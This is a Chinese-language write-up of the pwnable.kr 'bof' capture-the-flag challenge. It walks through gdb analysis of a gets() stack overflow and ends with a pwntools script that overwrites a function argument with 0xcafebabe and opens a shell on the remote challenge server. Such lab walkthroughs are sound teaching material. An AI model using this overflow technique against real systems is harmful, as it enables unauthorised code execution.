Pwnable.kr系列--bof(3)

Pwnable.kr系列--bof(3)_第1张图片
2017-05-16-000932_404x397_scrot.png

明显可以看出gets(overflowme)中存在栈溢出,
用gdb调试一下

gdb .bof

在main函数处设个断点

b main

run一下

Pwnable.kr系列--bof(3)_第2张图片
Screenshot from 2017-05-16 00-44-23.png

可以看到函数func的地址为0x5655562c
反汇编一下该函数


Pwnable.kr系列--bof(3)_第3张图片
Screenshot from 2017-05-16 00-46-25.png

在gets函数处设个断点

b* 0x5655564f

让程序跑到断点处
然后查看栈的数据

Pwnable.kr系列--bof(3)_第4张图片
Screenshot from 2017-05-16 00-49-12.png

现在栈顶位置所存的地址指向overflowme数组的首地址
所以overflow首地址为0xffffce4c
可以清楚地看到0xdeadbeef存在栈中,并且可以算出
0xdeadbeef和overflowme首地址之间相差了52个字节,
所以填充完52个字节之后就能覆盖到0xdeadbeef了
poc如下:

#!/usr/binenv                                                              
from pwn import *

#target = process("./bof")
target = remote("pwnable.kr", "9000")

key = 0xcafebabe
padding = "A" * 52
payload = padding + p32(key)
  
target.send(payload)
target.interactive()

你可能感兴趣的:(Pwnable.kr系列--bof(3))